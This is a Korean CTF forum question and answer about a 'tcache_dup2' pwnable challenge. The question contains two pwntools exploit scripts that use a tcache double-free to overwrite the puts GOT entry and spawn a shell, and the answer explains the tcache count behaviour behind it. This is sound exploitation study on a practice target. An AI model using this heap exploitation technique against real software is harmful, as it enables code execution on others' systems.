chunk 할당을 2번 해야하는 이유

문제를 풀다가 궁금한 점이 있어서 질문 남깁니다. 제가 처음에 작성했던 exploit 코드는 아래와 같습니다.

from pwn import *

#context.log_level = 'debug'

p = remote("host3.dreamhack.games", 22465)
e = ELF("./tcache_dup2")

def create(size, data):
    p.sendlineafter(">", str(1))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def modify(idx, size, data):
    p.sendlineafter(">", str(2))
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter(">", str(3))
    p.sendlineafter("idx: ", str(idx))

create(48, b"a"*0x8)
delete(0)

modify(0, 9, b"\x00"*0x8 + b"\xaa")
delete(0)

puts_got = e.got['puts']
get_shell = e.symbols['get_shell']

create(48, p64(puts_got))
create(48, b"a"*0x8)
create(48, p64(get_shell))

p.interactive()

그런데 이렇게 해도 안풀려서 혹시나 하는 마음에 chunk를 2개 할당한 뒤 뒤에 할당한 chunk를 DFB로 해보았더니 exploit이 되더군요...코드는 아래와 같습니다.

create(48, b"a"*0x8)
create(48, b"b"*0x8)
delete(0)
delete(1)

modify(1, 9, b"\x00"*0x8 + b"\xaa")
delete(1)

puts_got = e.got['puts']
get_shell = e.symbols['get_shell']

create(48, p64(puts_got))
create(48, b"a"*0x8)
create(48, p64(get_shell))

p.interactive()

이렇게 chunk를 2개 할당해야 하는 이유가 무엇인지 알고싶습니다.

#pwnable
작성자 정보
답변 1
avatar
JJ3rry
CTF 초보자

먼저 내부적으로 청크를 할당하는 과정에서, tc_idx라는 값을 참조합니다.
이때 해당 값이 0일 경우, 컴퓨터가 tcache에 chunk가 존재하지 않는다고 판단하고 tcache가 아닌 곳에 청크를 할당해주게 됩니다. (당연히 0이 아니라면 tcache에 chunk를 할당해주겠죠?)

chunk를 할당하고 해제하는 과정에서 tc_idx라는 값이 증가하게 되는데요.(초기값은 0입니다.)
만약 우리가 chunk를 한 개 할당하고 해제 할 경우 tc_idx의 값이 1씩 증가하게 됩니다.

일단 여기까지 이해가 되셨다면 눈치를 채셨을수도 있는데요.
질문자분께서 말씀하셨던 것 처럼 chunk를 1개 할당하고 해제하면 tc_idx의 값은 1이 될거고, 여기서 다시 chunk를 할당하시면 tcache에 chunk가 할당되고 tc_idx의 값은 다시 0이 됩니다.
하지만 이후 create를 통해 chunk를 할당할 때 tcache 영역에 할당이 되지 않습니다 tc_idx 의 값이 0이기 때문이죠.

그래서 보통 tc_idx의 값을 충분히 큰 값으로 설정해주기 위해 2개 이상의 청크를 할당해주어야만 정상적인 exploit이 실행되는 것입니다.

이해가 되셨을지 모르겠네요...!

2024.07.04. 00:35
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기